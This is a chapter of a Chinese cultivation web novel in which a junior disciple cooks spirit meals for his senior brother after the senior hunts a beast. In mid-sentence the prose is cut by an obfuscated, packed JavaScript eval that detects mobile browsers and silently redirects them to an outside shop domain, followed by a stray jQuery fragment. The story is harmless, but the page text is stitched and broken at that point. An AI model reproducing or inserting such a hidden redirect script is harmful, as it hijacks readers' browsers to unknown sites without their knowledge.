他低头扒拉了一下自己的储物袋,里面除了刚采的白茅根、黄精苗和牛牛果,就只剩一把凡间的菜刀,还有一把柴刀。
符箓、法器一样都没有,连张最低阶的防御符都找不出来。
就凭他炼气二层的修为和两把切菜的刀和柴刀,真要碰上什么妖兽,怕是连拖延时间都做不到,更别提帮忙了。
他站在原地沉默了片刻,把背篓带子往上颠了颠,转身沿着山路继续往回走。
虽然放心不下陆昭野,但眼下他最有用的做法就是安安稳稳回到屋里等着。
一个低阶炼气期的外门弟子,往妖兽出没的地方凑,那不叫义气,叫拖后腿。
他加快了脚步,菜菜趴在他肩头的背篓边沿,耳朵依然竖着,时不时回头往山林深处望一眼,尾巴尖绷得紧紧的。
宋清源伸手摸了摸它的脑袋,低声说了一句:“别看了,咱们回去等他。”
天色越来越暗,山路两旁的树影变得模糊起来,林间的风声也多了几分呜咽的意味。
宋清源走得比来时快了不少,很快就看到了自家小破屋院子里那棵老槐树的轮廓。
他推门进屋,点起灯,把背篓放在墙角,又把菜菜抱出来放在猫窝里。
菜菜蹲在猫窝里舔了两下爪子,又竖起耳朵听了听屋外的动静,这才慢慢放松下来,蜷成一团开始打盹。
宋清源坐了下来,看着桌上那盏豆大的灯火发了一会儿呆。
远处没有再传来兽吼声,他不知道那是意味着陆昭野已经解决了战斗,还是那妖兽已经离开了那片区域,又或者……他摇了摇头,没让自己往坏处想。
陆昭野是筑基修士,御剑来去自如,就算打不过,脱身总是不难的。
他现在能做的只有等着,顺便把灶火生起来,其他菜备好,等陆昭野带着肉回来,随时都能开火做饭。
好在没等多久,宋清源刚把灶台收拾利落,从菜筐里翻出几颗蒜、一块姜,正低着头剥蒜皮的时候,门外传来一声轻响,有人落了地。
他出门一看,陆昭野正站在门口,月白色的衣袍下摆沾了些许尘土,但整个人看起来没有受伤,气息平稳。
他手里拎着一只灰色的布袋,比早晨那只更大一些,鼓鼓囊囊的,像是装了不少东西。
宋清源松了一口气,赶紧迎上去:“陆师兄,你总算回来了。”
陆昭野站在门口,没有立刻进来。
他看了宋清源一眼,沉默了片刻,忽然开口说了一句:“抱歉。”
宋清源愣了一下:“啊?”
“是我考虑不周。天色已黑,不该留你一人回来,妖兽常在傍晚出没,你修为尚低,若途中遇到什么,是我之过。”
宋清源被他这番话说得一时有些接不上话。
他本来还想着等陆昭野回来要问问他猎到妖兽没有、那一嗓子兽吼是怎么回事,结果还没开口,对方先跟他道了个歉。
他看着陆昭野那张冷淡的脸,忽然觉得这位陆师兄虽然瞧着清冷,但做事确实周到,连这种细节都放在心上。
“没事没事,”宋清源连忙摆手,“我走的是外围的路,挺安全的,而且你不是很快就回来了吗,前后不到半个时辰。”他侧身让开门口,“快进来吧,外面凉。”
陆昭野跨过门槛,把手里那只灰色布袋放在案板上。
布袋解开,里面是两大块暗红色的兽肉,色泽比早晨那只金甲兽更深,肌理间金色的光泽也更加明显,一看就是品相更好的货色。
宋清源凑过去看了一眼,抬头问:“猎到了?”
陆昭野微微颔首:“运气好,碰到了一头成年的金甲兽,肉质应当比早晨那只要好一些。”他说着,又补了一句,“足够你做几天菜了。”
宋清源满意地把两大块金甲兽肉放进陶罐里,指尖凝出一团寒气裹住罐壁,施展冰冻术把肉冻住。
他如今炼气二层的冰冻术勉强能维持近三个时辰不化,但眼下天色已晚,大部分肉一时半会儿用不上,先冻上再说。
陆昭野站在一旁看了一会儿,忽然开口:“你的冰冻术……维持不了多久?”
宋清源尴尬地搓了搓指尖:“嗯,炼气二层嘛,法术持久度也就这样了,三个时辰左右就得重新补一次。”
他正说着,陆昭野已经伸出手来,指尖轻轻点在那几只陶罐上。
一股精纯的寒气无声地渗入罐壁,比宋清源那团勉强凝出来的寒气凝练了不知多少倍,只是瞬息之间,陶罐表面便泛起了细密的白霜,温度肉眼可见地降了下去。
宋清源愣了一瞬:“陆师兄……你这水系法术……”
“冰系是水系的延伸,”陆昭野收回手,淡淡道,“顺手而已。”
宋清源低头看了看那几只被冻得严严实实的陶罐,又看了看自己的指尖,心里默默叹了口气,人跟人的差距有时候真的比人跟猫还大。
陆昭野却没有就此打住。
他沉吟了片刻,然后开口道:“以后有机会,我去购置一只能保鲜食材的储物袋赠你。”
宋清源一听,连忙摆手:“不用了不用了,陆师兄,你已经给过我一只储物袋了,再给我就太过意不去了。”
“那只只是普通储物袋,”陆昭野说,“不保鲜。”
“那也不用了,”宋清源当即认真起来,“你今天给我带了这么多肉,又帮我做了采集任务,还帮我冻了陶罐,已经帮了太多忙了。再收你的东西,我实在过意不去。”
陆昭野沉默了一会儿,才开口:“你做的灵膳,吃下去后灵气干净没有杂质,比我吃过的丹药都好。”
“我平日里修炼也需灵气滋养,若你愿意长期为我烹饪灵膳,那保鲜储物袋便算是我付的资费。”
宋清源听他这么说,倒不好再推辞了。
陆昭野的意思很清楚,这不是白送,这是一笔交易,你为我做灵膳,我付你报酬,合情合理。
他想了想,点了点头:“那行,既然师兄这么说了,我就不客气了。不过保鲜储物袋不用着急,眼下这些肉够吃好几天的。”
陆昭野点了点头,没有再继续这个话题。
他的目光在灶台上扫了一圈,“今晚做什么?”
宋清源想了想,又看了看灶台上现有的食材,很快报了几个菜名:“青椒肉丝,酸菜炒肉,凉拌黄瓜,丝瓜蛋汤,怎么样?”
陆昭野点了点头:“可。”
都是快手菜,宋清源手脚又麻利,不到半个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696814|208001||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时辰就把四道菜端上了桌。
青椒肉丝用的是早晨剩下的那小块金甲兽瘦肉,切丝上浆大火快炒,肉丝嫩滑、青椒脆爽,酱香裹着清辣,锅气十足。
酸菜是他自己腌的那坛,切丝和五花肉片同炒,酸香浓郁,肉片焦香,酸菜的酸爽恰到好处地解了油腻。
凉拌黄瓜用黄瓜切段拍扁码盘,淋上一点香油和蒜末,咸甜脆爽,清口解腻。
丝瓜蛋汤最后出锅,清鲜温润,蛋花嫩滑,正好收了前面几道菜的余味。
陆昭野坐在桌边,像中午一样没有什么多余的话,但筷子一直没有停过。
酸菜炒肉尤其受他青睐,连夹了好几筷子,吃完之后停顿了一下,又夹了一筷子凉拌黄瓜,嚼了两口,眉间似乎微微舒展了一些。
宋清源坐在对面,一边吃一边在心里把账目理了理。
陆昭野今天送了两次金甲兽肉,帮他做完了采集任务,还顺手把陶罐冻上了,又承诺要给他弄一只保鲜储物袋。
这份人情越欠越大,光靠一顿两顿饭是还不完的。
他想了想,便开口:“陆师兄,我有个提议。”
陆昭野抬头看他。
“以后你有空,随时可以过来吃饭。不用每次都带肉,也不用每次都帮忙干活。”宋清源认真地说,“你给我的储物袋和这些肉,已经够付不知道多少顿饭的账了。保鲜储物袋的事也不急,反正有冰冻术,我又不常出门,这储物袋够用。”
“你平日修炼忙,只要有空来就行。”
宋清源说得很真诚,意思却是很明显了。
你对我好,我不会让你吃亏,随时来,随时有热饭热菜等着。
陆昭野看了他片刻,没有推辞,也没有多说什么客套话,只是微微点了点头:“好。”然后他又夹了一块酸菜炒肉送进嘴里,嚼了两口,露出一丝淡淡的微笑。
宋清源见此也忍不住弯了一下嘴角,低头扒了一口饭。
菜菜从猫窝里探出脑袋,嗅了嗅空气里飘散的菜香,又缩回去继续睡了。
屋外秋夜的风穿过林梢,吹得窗纸微微作响,屋里却是暖融融的灯火和饭菜余温,两个人坐在小方桌边,安安静静地吃着饭。
……
任务一交,灵石到手,宋清源捏着那几块沉甸甸的下品灵石,心中美滋滋地算了算账,足够再添置不少食材了。
他往回走的路上,忽然馋起油泼面来。
宽宽的面条,泼上滚烫的辣椒油,“滋啦”一声,香气炸开,连魂都能勾出来。
他已经许久没吃过了,光是想一想,嘴里就开始不争气地冒酸水。
回到小破屋的时候,还没进院子,他就看见门口那棵老槐树的横枝上,陆昭野正盘膝坐在那里,长剑横搁在膝头,双目微阖,像是在打坐。
秋日的阳光透过稀疏的树叶落在他身上,月白色的衣袍在微风里微微拂动,远远看着倒真有些仙人风范。
宋清源愣了一下,心想这位陆师兄最近来得是越来越勤了,早上才刚走,下午又来了。
不过也好,正好油泼面做一碗也是做,做两碗也是做,多一个人吃还热闹些。
他仰头冲树上喊了一声:“陆师兄,等下吃油泼面!”